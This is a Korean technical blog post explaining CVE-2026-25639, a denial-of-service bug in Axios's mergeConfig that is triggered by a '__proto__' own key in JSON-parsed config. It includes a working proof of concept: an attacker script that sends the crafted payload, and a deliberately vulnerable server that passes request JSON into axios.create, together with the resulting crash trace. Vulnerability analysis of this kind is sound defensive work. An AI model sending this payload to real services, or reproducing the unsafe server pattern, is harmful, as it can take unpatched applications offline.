[CVE-2026-25639] Axios 프로토타입 오염 취약점
RECOMMEND POSTS BEFORE THIS
- 보안 취약점의 식별과 평가 기준
- 프로토타입 패턴 (Prototype Pattern)
- 자바스크립트 프로토타입 (JavaScript Prototype)
- 자바스크립트 프로토타입 체이닝 (JavaScript Prototype Chain)
1. CVE-2026-25639
CVE-2026-25639은 널리 사용되는 HTTP 클라이언트 라이브러리인 Axios에서 발생한 서비스 거부(DoS, Denial of Service) 취약점이다. 이 취약점은 프로토타입 오염과 연관되어 애플리케이션을 다운시킬 수 있는 치명적인 문제가 있다.
Axios 내부의 설정 병합을 담당하는 mergeConfig 함수에서 발생했다. mergeConfig 함수가 __proto__를 자체 속성으로 포함하고 있는 구성 객체를 처리할 때 내부적으로 타입 에러를 일으키며 애플리케이션이 충돌하게 된다.
- CVSS 위험도 점수
- 7.5(HIGH)으로 평가
- 영향을 받는 버전
- 1.0.0 이상 ~ 1.13.5 미만 버전
- 0.30.3 미만 버전
- 패치된 버전
- v1.13.5
- v0.30.3 (0.x 버전을 사용 중인 많은 엔터프라이즈 프로젝트를 위해 백포트 형태로 보안 패치가 함께 배포)
기본 지표(base metrics)인 익스플로잇(exploit) 가능성은 다음과 같다.
- AV:N (Attack Vector: Network)
- 공격자가 취약점이 존재하는 시스템에 물리적으로 접근하거나 로컬 환경에 있을 필요 없이, 인터넷이나 내부망 등 네트워크를 통해 원격으로 공격을 수행할 수 있다. 이 취약점의 경우, 공격자는 네트워크를 통해 악의적으로 조작된 JSON 페이로드(payload)를 서버나 애플리케이션으로 전송하면 된다.
- AC:L (Attack Complexity: Low)
- 공격을 성공시키기 위해 복잡한 조건이나 우회 기법이 필요하지 않고, 언제든 일관되게 공격이 가능함을 의미한다. JSON.parse()를 거쳐 만들어진
__proto__키가 포함된 구성 객체를 mergeConfig 함수가 처리하도록 유도하기만 하면 된다.
- 공격을 성공시키기 위해 복잡한 조건이나 우회 기법이 필요하지 않고, 언제든 일관되게 공격이 가능함을 의미한다. JSON.parse()를 거쳐 만들어진
- PR:N (Privileges Required: None)
- 공격자가 대상 시스템이나 애플리케이션에 로그인하거나 특정 권한을 획득할 필요가 전혀 없음을 의미한다. 인증되지 않은 익명의 사용자도 취약점을 악용할 수 있다.
- UI:N (User Interaction: None)
- 공격을 수행할 때 관리자나 일반 사용자가 악성 링크를 클릭하는 등의 피해자 상호작용이 전혀 필요하지 않다. 공격자가 단독으로 스크립트나 페이로드를 전송하여 취약점을 트리거할 수 있다.
- S:U (Scope: Unchanged)
- 취약 버전의 Axios를 사용하는 애플리케이션 내에서만 영향이 머물며, 시스템의 다른 권한 영역이나 운영체제 등 외부 환경으로 피해가 확산되지 않는다.
- C:N (Confidentiality Impact: None)
- 공격이 성공하더라도 애플리케이션의 내부 데이터나 개인정보, 비밀번호 등은 유출되지 않는다.
- I:N (Integrity Impact: None)
- 공격으로 인해 서버 내의 데이터가 임의로 수정, 변경 또는 삭제되지 않는다.
- A:H (Availability Impact: High)
- 대상 시스템이나 서비스의 가용성이 완전히 상실된다. mergeConfig 함수가 악의적인 객체를 처리하는 동안 타입 에러가 발생하면서 프로그램이 완전히 충돌한다. 이로 인해 완전한 서비스 거부(Complete Denial of Service) 상태가 된다.
해당 취약점과 연관된 취약점 유형(CWE, Common Weakness Enumeration)은 CWE-754: 예외적이거나 비정상적인 조건에 대한 부적절한 검사(Improper Check for Unusual or Exceptional Conditions)다.
- 소프트웨어가 일상적인 운영 중에는 자주 발생하지 않을 것으로 예상되는 비정상적이거나 예외적인 조건을 아예 검사하지 않거나 잘못 검사할 때 발생하는 취약점이다.
- mergeConfig 함수는 정상적인 HTTP 설정 객체를 병합하도록 설계되어 있었다. 공격자는 JSON.parse() 함수를 통해
__proto__키를 자체 속성으로 강제 삽입한 악의적인 설정 객체를 전달할 수 있다. 이는 “비정상적이고 예외적인 조건”으로 mergeConfig 함수는 이에 대한 적절한 예외 처리나 검증 절차를 가지고 있지 않았다.
2. Cause of vulnerability
이 취약점을 이용하면 자바스크립트 프로토타입 객체를 참조하기 위한 __proto__ 프로퍼티를 자체 속성(own property)으로 변경해서 문제를 유발한다. 간단히 예제를 살펴보자.
const safe = {};
console.log(safe.__proto__);
console.log(Object.keys(safe));
위 코드를 실행하면 다음과 같은 로그를 볼 수 있다.
- 리터럴 객체인 safe 객체의 프로토타입 객체를 로그에서 확인할 수 있다.
- Object.keys 함수를 통해 safe 객체의 자체 속성 키들을 확인해보면 빈 배열이다.
Object { … }
Array []
__proto__라는 프로퍼티는 객체의 자체 속성이 아니기 때문에 Object.keys 함수로 접근할 수 없다. 하지만 해당 프로퍼티를 통해 접근할 수 있는 프로토타입 객체는 실제로 존재한다. 문제는 리터럴 객체를 만들 때 다음과 같이 JSON.parse 함수를 통해 객체를 만들면 __proto__ 프로퍼티를 자체 속성으로 취급되도록 만들 수 있다. 이를 통해 프로퍼티에 Object.keys 함수로 접근 가능해진다.
const unsafe = JSON.parse('{"__proto__": {"x": 1}}');
console.log(unsafe.__proto__);
console.log(Object.keys(unsafe))
__proto__키워드를 통해 접근한 객체가 프로토타입 객체가 아닌 리터럴 객체다.- Object.keys 함수를 통해 unsafe 객체의 자체 속성 키들에
__proto__값이 포함된다.
Object { x: 1 }
Array [ "__proto__" ]
이 취약점은 이런 빈틈을 이용한다. 이제 Axios의 문제가 발생한 코드를 살펴보자. config2 객체는 외부에서 전달된 설정 객체다. 해당 객체에 __proto__라는 자체 속성이 존재하면 문제가 발생한다.
- config2 객체의 자체 속성 키를 사용해 for 루프를 실행한다. config2 객체에는
__proto__라는 자체 속성이 포함되어 있다. - mergeMap 리터럴 객체로부터
__proto__키에 해당하는 값을 꺼낸다. 자체 속성에 정의되어 있지 않지만, 프로토타입 객체를 참조하기 위한 프로퍼티가 존재하므로 프로토타입 객체가 반환된다. - 반환된 프로토타입 객체는 함수가 아니기 때문에 호출할 수 없다. 타입 에러가 발생한다.
var mergeMap = {
'url': valueFromConfig2,
'method': valueFromConfig2,
'data': valueFromConfig2,
'baseURL': defaultToConfig2,
'transformRequest': defaultToConfig2,
'transformResponse': defaultToConfig2,
'paramsSerializer': defaultToConfig2,
'timeout': defaultToConfig2,
'timeoutMessage': defaultToConfig2,
'withCredentials': defaultToConfig2,
'withXSRFToken': defaultToConfig2,
'adapter': defaultToConfig2,
'responseType': defaultToConfig2,
'xsrfCookieName': defaultToConfig2,
'xsrfHeaderName': defaultToConfig2,
'onUploadProgress': defaultToConfig2,
'onDownloadProgress': defaultToConfig2,
'decompress': defaultToConfig2,
'maxContentLength': defaultToConfig2,
'maxBodyLength': defaultToConfig2,
'beforeRedirect': defaultToConfig2,
'transport': defaultToConfig2,
'httpAgent': defaultToConfig2,
'httpsAgent': defaultToConfig2,
'cancelToken': defaultToConfig2,
'socketPath': defaultToConfig2,
'responseEncoding': defaultToConfig2,
'validateStatus': mergeDirectKeys
};
// [1] 객체의 자체 속성 키에 접근
utils.forEach(Object.keys(config1).concat(Object.keys(config2)), function computeConfigValue(prop) {
// [2] 키를 통해 객체의 특정 값을 획득
var merge = mergeMap[prop] || mergeDeepProperties;
// [3] 해당 값을 함수처럼 호출 - 문제 발생 지점
var configValue = merge(prop);
(utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
3. Exploit PoC (Proof of Concept)
공격자는 어떻게 애플리케이션을 공격할 수 있을까? 외부로부터 전달받아 신뢰할 수 없는 값을 설정 객체로 그대로 만들어 사용했을 때 문제가 발생한다. 간단한 예제 코드를 통해 개념을 증명해본다. 이 예제의 전체 코드는 해당 링크에서 확인할 수 있다.
먼저 공격자 코드를 살펴보자.
- 악의적인 요청 메시지를 만든다. 해당 메시지는 JSON 형식의 문자열이며
__proto__라는 자체 속성이 포함되어 있다. 값은 적당하게 아무 객체나 만들어준다. - 악의적인 요청 메시지를 서버로 전달한다.
const http = require("node:http");
// [1] __proto__ 자체 소유 속성이 리터럴 객체 문자열
const MALICIOUS_PAYLOAD = '{"__proto__": {"polluted": true}}';
async function runAttack() {
console.log("=".repeat(60));
console.log("CVE-2026-25639 DoS 공격 시뮬레이션");
console.log("=".repeat(60));
await new Promise((resolve) => {
// [2] 악의적인 메시지를 서버로 전송
const req = http.request(
{
hostname: "localhost",
port: 3000,
path: "/fetch",
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": Buffer.byteLength(MALICIOUS_PAYLOAD),
},
},
(res) => {
let d = "";
res.on("data", (c) => (d += c));
res.on("end", () => {
console.log(` 응답: ${res.statusCode}`);
resolve();
});
}
);
req.on("error", (e) => {
console.log(` 오류: ${e.message}`);
resolve();
});
req.write(MALICIOUS_PAYLOAD);
req.end();
});
}
runAttack();
다음 서버 쪽 코드를 살펴보자. 모든 코드가 아니라 요청을 처리하는 코드만 집중해서 살펴본다.
- 클라이언트에서 전달한 요청을 JSON.parse 함수를 통해 설정 객체로 변환한다.
- 해당 설정 객체를 사용해 Axios 인스턴스를 생성한다. 이 지점에서 에러가 발생한다.
const server = http.createServer(async (req, res) => {
let body = "";
req.on("data", (chunk) => (body += chunk));
req.on("end", async () => {
let userConfig;
try {
// [1] 클라이언트에서 전달한 요청을 객체로 변환
userConfig = JSON.parse(body);
} catch {
res.writeHead(400);
res.end("invalid JSON format");
return;
}
console.log("axios create with configuration: ", userConfig);
// [2] ERROR point
const instance = axios.create(userConfig);
const response = await instance.get("https://httpbin.org/get");
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ status: "ok", data: response.data }));
});
});
이제 서버를 실행해보자. 다음 명령어를 실행한다.
- 취약점이 있는 1.13.4 버전을 사용한다.
$ npm install axios@1.13.4 --no-save && node vulnerable-server.js
위에서 설명한 공격자 스크립트를 실행한다.
$ node attacker.js
공격자 코드를 실행하면 서버에서 다음과 같은 에러를 만나게 된다. merge 객체는 함수가 아니라는 타입 에러가 발생한다. 원인은 앞서 말했던 것처럼 __proto__ 키에 의해 프로토타입 객체를 참조하게 되면서 이를 함수처럼 호출해서 문제가 발생한다. Node.js(노드JS) 같은 싱글 스레드 기반의 자바스크립트 런타임 환경의 서버는 처리되지 않은 예외(Uncaught Exception)가 발생하면 프로세스 자체가 죽어버린다. 즉, 적절한 처리를 하지 않는 경우 서버가 다운된다.
- 스택 트레이스를 보면 mergeConfig 함수 내부 Object.forEach 콜백 함수인 computeConfigValue 함수에서 타입 에러가 발생한다.
axios create with configuration: { ['__proto__']: { polluted: true } }
/Users/junhyunny/Desktop/action-in-blog/node_modules/axios/dist/node/axios.cjs:3733
const configValue = merge(config1[prop], config2[prop], prop);
^
TypeError: merge is not a function
at computeConfigValue (/Users/junhyunny/Desktop/action-in-blog/node_modules/axios/dist/node/axios.cjs:3733:25)
at Object.forEach (/Users/junhyunny/Desktop/action-in-blog/node_modules/axios/dist/node/axios.cjs:319:10)
at mergeConfig (/Users/junhyunny/Desktop/action-in-blog/node_modules/axios/dist/node/axios.cjs:3731:11)
at Function.create (/Users/junhyunny/Desktop/action-in-blog/node_modules/axios/dist/node/axios.cjs:5175:27)
at IncomingMessage.<anonymous> (/Users/junhyunny/Desktop/action-in-blog/vulnerable-server.js:23:28)
at IncomingMessage.emit (node:events:507:28)
at endReadableNT (node:internal/streams/readable:1696:12)
at process.processTicksAndRejections (node:internal/process/task_queues:90:21)
Node.js v23.11.0
보안 패치가 된 버전을 사용하면 동일한 공격에서 서버가 다운되지 않는다.
$ npm install axios@1.13.5 --no-save && node vulnerable-server.js
TEST CODE REPOSITORY
REFERENCE
- https://nvd.nist.gov/vuln/detail/CVE-2026-25639
- https://www.cve.org/CVERecord?id=CVE-2026-25639
- https://cwe.mitre.org/data/definitions/754.html
- https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e
- https://github.com/axios/axios/pull/7369
- https://github.com/axios/axios/pull/7388
- https://github.com/axios/axios/releases/tag/v1.13.5
- https://github.com/axios/axios/releases/tag/v0.30.3
댓글남기기